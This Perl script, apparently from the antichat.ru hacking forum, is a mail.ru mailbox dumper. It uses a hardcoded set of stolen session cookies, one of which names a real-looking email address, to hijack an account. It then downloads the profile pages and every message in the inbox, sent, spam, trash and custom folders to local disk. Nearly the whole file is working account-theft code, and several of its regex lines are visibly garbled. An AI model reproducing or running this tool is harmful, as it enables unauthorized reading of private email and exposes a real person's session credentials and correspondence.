#!/usr/bin/perl 

## �oded by [slider]
## /

use IO::Socket;

$cookies = q(VID=0MwrO80L0OWa; mrcu=CA9449280AC57B105A819FBACC58; p=gREIAFtn5gAA; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAABAAAAAAAAAABdAAsJyQcA; Mpop=1227440296:5b0701675b664c60190502190a1d00051c0600014966535c465d050006070616000307165854585e5068415f5a45515b185c515f541c404d:alina_thotel@mail.ru:; c8=U8QpSQAAAAKDXQMAAAAAAo9cAwAAAAACQ0QBAAAAAAIhbAMAAAAAAm0OAQAAAAACjGQBAAAAAAKNEgIAAAAAAozsAgAAAAACjRQCAAAAAAJygwUAAAAAAoq9BAAAAAACWvQFAAAAAAKJiwUAAAAAAoexBQAAAAACC54DAAAAAAKC2AEAAAAAAog8AQAAAAACfmUBAAAAAAJgIgEAAAAAAjD7AQAAAAAA; MG_1099=11);

print  '-' x 56 . "\n [i] Coded by slider \n [i] forum.antichat.ru\n" . '-' x 56 . "\n\n";

information();
private();
inbox();
otpravlennie();
somnitelnie();
#magents();
folders();
trash();


sub information{
print "[!] Get information:\n\n";

	$lastpage = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $lastpage "GET /cgi-bin/msglist?folder=0&page;=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$lastpage>){
	if ($answer =~ /<nobr>(.*)<\/nobr><\/td><form action="/attachments/1047/logout/">/)
	 {$acc=$1;}
		if ($answer =~ /<b class="odin">&middot;&nbsp;(.*)&nbsp;&middot;<\/b/)
	 {$lp=$1;}}
	if (!$lp){$lp=1}
	
	$lastpage = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $lastpage "GET /cgi-bin/msglist?folder=950&page;=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$lastpage>){
	if ($answer =~ /<b class="odin">&middot;&nbsp;(.*)&nbsp;&middot;<\/b/)
	{$lpsomn=$1;}}
	if (!$lpsomn){$lpsomn=1}
	
	$lastpage = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $lastpage "GET /cgi-bin/msglist?folder=500002&page;=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$lastpage>){
	if ($answer =~ /<b class="odin">&middot;&nbsp;(.*)&nbsp;&middot;<\/b/)
	{$trash=$1;}}
	if (!$trash){$trash=1}

	$lastpage = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $lastpage "GET /cgi-bin/msglist?folder=500000&page;=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$lastpage>){
	if ($answer =~ /<b class="odin">&middot;&nbsp;(.*)&nbsp;&middot;<\/b/)
	{$lpotpravl=$1;}}
	if (!$lpotpravl){$lpotpravl=1}
	print "  [*] Account: $acc \n";
	print "  [*] Inbox_last_PAGE: $lp \n";
	print "  [*] Otpravlennie_last_PAGE: $lpotpravl \n";
	print "  [*] Somnitelnie_last_PAGE: $lpsomn \n";
	print "  [*] Trash_last_PAGE: $trash \n";
	print "  [*] Creating Directory\n\n";
	if ( ! -e "mailbox" ){mkdir "mailbox", 0755 or die "[~] Can't create mailbox: $!\n";} 	
if ( ! -e "mailbox/$acc" ){mkdir "mailbox/$acc", 0755 or die "[~] Can't create mailbox/$acc: $!\n";} 	
if ( ! -e "mailbox/$acc/inbox" ){mkdir "mailbox/$acc/inbox", 0755 or die "[~] Can't create mailbox/$acc/inbox: $!\n";} 		
if ( ! -e "mailbox/$acc/otpravlennie" ){mkdir "mailbox/$acc/otpravlennie", 0755 or die "[~] Can't create $acc/otpravlennie: $!\n";} 		
if ( ! -e "mailbox/$acc/somnitelnie" ){mkdir "mailbox/$acc/somnitelnie", 0755 or die "[~] Can't create $acc/somnitelnie: $!\n";} 		
if ( ! -e "mailbox/$acc/TRASH" ){mkdir "mailbox/$acc/TRASH", 0755 or die "[~] Can't create $acc/TRASH: $!\n";} 		
if ( ! -e "mailbox/$acc/private" ){mkdir "mailbox/$acc/private", 0755 or die "[~] Can't create $acc/private: $!\n";} 		
#if ( ! -e "mailbox/$acc/magent" ){mkdir "mailbox/$acc/magent", 0755 or die "[~] Can't create $acc/magent: $!\n";} 		

}

sub private{
print "  [*] Getting private information\n\n";
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/userinfo HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
open (mailbox, ">./mailbox/$acc/private/userinfo_1.html");
while($answer = <$con>)
  {print mailbox $answer;}
  
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/anketa?page=1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
open (mailbox, ">./mailbox/$acc/private/anketa_1.html");
while($answer = <$con>)
  {print mailbox $answer;}  

  $con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/anketa?page=2 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
open (mailbox, ">./mailbox/$acc/private/anketa_2.html");
while($answer = <$con>)
  {print mailbox $answer;}  

  $con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/userinfo?mra=1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
open (mailbox, ">./mailbox/$acc/private/userinfo_2.html");
while($answer = <$con>)
  {print mailbox $answer;}    
  $con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/start HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
open (mailbox, ">./mailbox/$acc/private/index.html");
while($answer = <$con>)
  {print mailbox $answer;}      
  
}


sub inbox{
print "[!] Get INBOX:\n\n";
for($p=1;$p<$lp+1;$p++)
{
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/msglist?folder=0&page;=$p HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";

while($answer = <$con>)
{
	if ($answer =~ /td class=lettem><a href="/attachments/1047/readmsg/id/_.__/" onmouseup ) { print " [~] mid: $1 && pid: $p \n"; open (mailbox, ">./mailbox/$acc/inbox/$p.$1.html");
	$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $connect "GET /cgi-bin/readmsg?id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$connect>)
    {print mailbox $answer;}
  }
}
print "  [~] Done \n";	
}
}

sub somnitelnie{
print "\n[!] Get SOMNITELNIE:\n\n";
for($sp=1;$sp<$lpsomn+1;$sp++)
{
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/msglist?folder=950&page;=$sp HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";

while($answer = <$con>)
{
	if ($answer =~ /td class=lettem><a href="/attachments/1047/readmsg/id/_.__/" onmouseup ) { print " [~] mid: $1 && pid: $sp \n"; open (mailbox, ">./mailbox/$acc/somnitelnie/$sp.$1.html");
	$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $connect "GET /cgi-bin/readmsg?id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$connect>)
    {print mailbox $answer;}
  }
}
print "  [~] Done \n";	
}
}

sub magents{
print "\n[!] Get MAGENT:\n\n";
for($sp=1;$sp<$lpsomn+1;$sp++)
{
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/msglist?folder=500003&page;=$sp HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";

while($answer = <$con>)
{
	if ($answer =~ /td class=lettem><a href="/attachments/1047/readmsg/id/_.__/" onmouseup ) { print " [~] mid: $1 && pid: $sp \n"; open (mailbox, ">./mailbox/$acc/magent/$sp.$1.html");
	$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $connect "GET /cgi-bin/readmsg?id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$connect>)
    {print mailbox $answer;}
  }
}
print "  [~] Done \n";	
}
}


sub otpravlennie{
print "\n[!] Get OTPRAVLENNIE:\n\n";
for($otp=1;$otp<$lpotpravl+1;$otp++)
{
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/msglist?folder=500000&page;=$otp HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";

while($answer = <$con>)
{
	if ($answer =~ /td class=lettem><a href="/attachments/1047/readmsg/id/_.__/" onmouseup ) { print " [~] mid: $1 && pid: $otp \n"; open (mailbox, ">./mailbox/$acc/otpravlennie/$otp.$1.html");
	$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $connect "GET /cgi-bin/readmsg?id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$connect>)
    {print mailbox $answer;}
  }
}
print "  [~] Done \n";	
}
}

sub trash{
print "\n[!] Get TRASH:\n\n";
for($otp=1;$otp<$lpotpravl+1;$otp++)
{
$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/msglist?folder=500002&page;=$otp HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";

while($answer = <$con>)
{
	if ($answer =~ /td class=lettem><a href="/attachments/1047/readmsg/id/_.__/" onmouseup ) { print " [~] mid: $1 && pid: $otp \n"; open (mailbox, ">./mailbox/$acc/TRASH/$otp.$1.html");
	$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $connect "GET /cgi-bin/readmsg?id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$connect>)
    {print mailbox $answer;}
  }
}
print "  [~] Done \n";	
}
}

sub folders{
$page=1000;
$schetcik=0;
while($folder==0){
$page=$page+1;
$schetcik=$schetcik+1;
	$lastpage = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $lastpage "GET /cgi-bin/msglist?folder=$page HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$lastpage>){
	if($answer =~ m/������/)  {$schetcik=$schetcik-1;print "\n[*] Other folders: $schetcik\n";$schetcik=$schetcik+1;$folder=1;}
	}	
}

	
for($fld=1;$fld<$schetcik;$fld++){
print "\n[!] Get OTHER_$fld:\n\n";
$ofldr=1000+$fld;
if ( ! -e "mailbox/$acc/OTHER_$fld" ){mkdir "mailbox/$acc/OTHER_$fld", 0755 or die "[~] Can't create $acc/OTHER_$fld: $!\n";} 		
	$lastpage = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $lastpage "GET /cgi-bin/msglist?folder=$ofldr&page;=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$lastpage>){
	if ($answer =~ /<b class="odin">&middot;&nbsp;(.*)&nbsp;&middot;<\/b/)
	{$lpotpravl=$1;}}
	if (!$lpotpravl){$lpotpravl=1}
	print "  [*] In folder [OTHER_$fld] last_page: $lpotpravl \n";
	
for($otp=1;$otp<$lpotpravl+1;$otp++)
{

$con = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $con "GET /cgi-bin/msglist?folder=$ofldr&page;=$otp HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/editprofile\r\nCookie: ".$cookies.";\r\n\r\n";

while($answer = <$con>)
{
	if ($answer =~ /td class=lettem><a href="/attachments/1047/readmsg/id/_.__/" onmouseup ) { print " [~] mid: $1 && pid: $otp \n"; open (mailbox, ">./mailbox/$acc/OTHER_$fld/$otp.$1.html");
	$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
	print $connect "GET /cgi-bin/readmsg?id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mail.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cookies.";\r\n\r\n";
	while($answer = <$connect>)
    {print mailbox $answer;}
  }
}
print "  [~] Done \n";	
}

}
}
print  "\n" . '-' x 56 . "\n [i] Private Edition\n" . '-' x 56 . "\n\n";

## Active Perl:
## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi

## Antichat.ru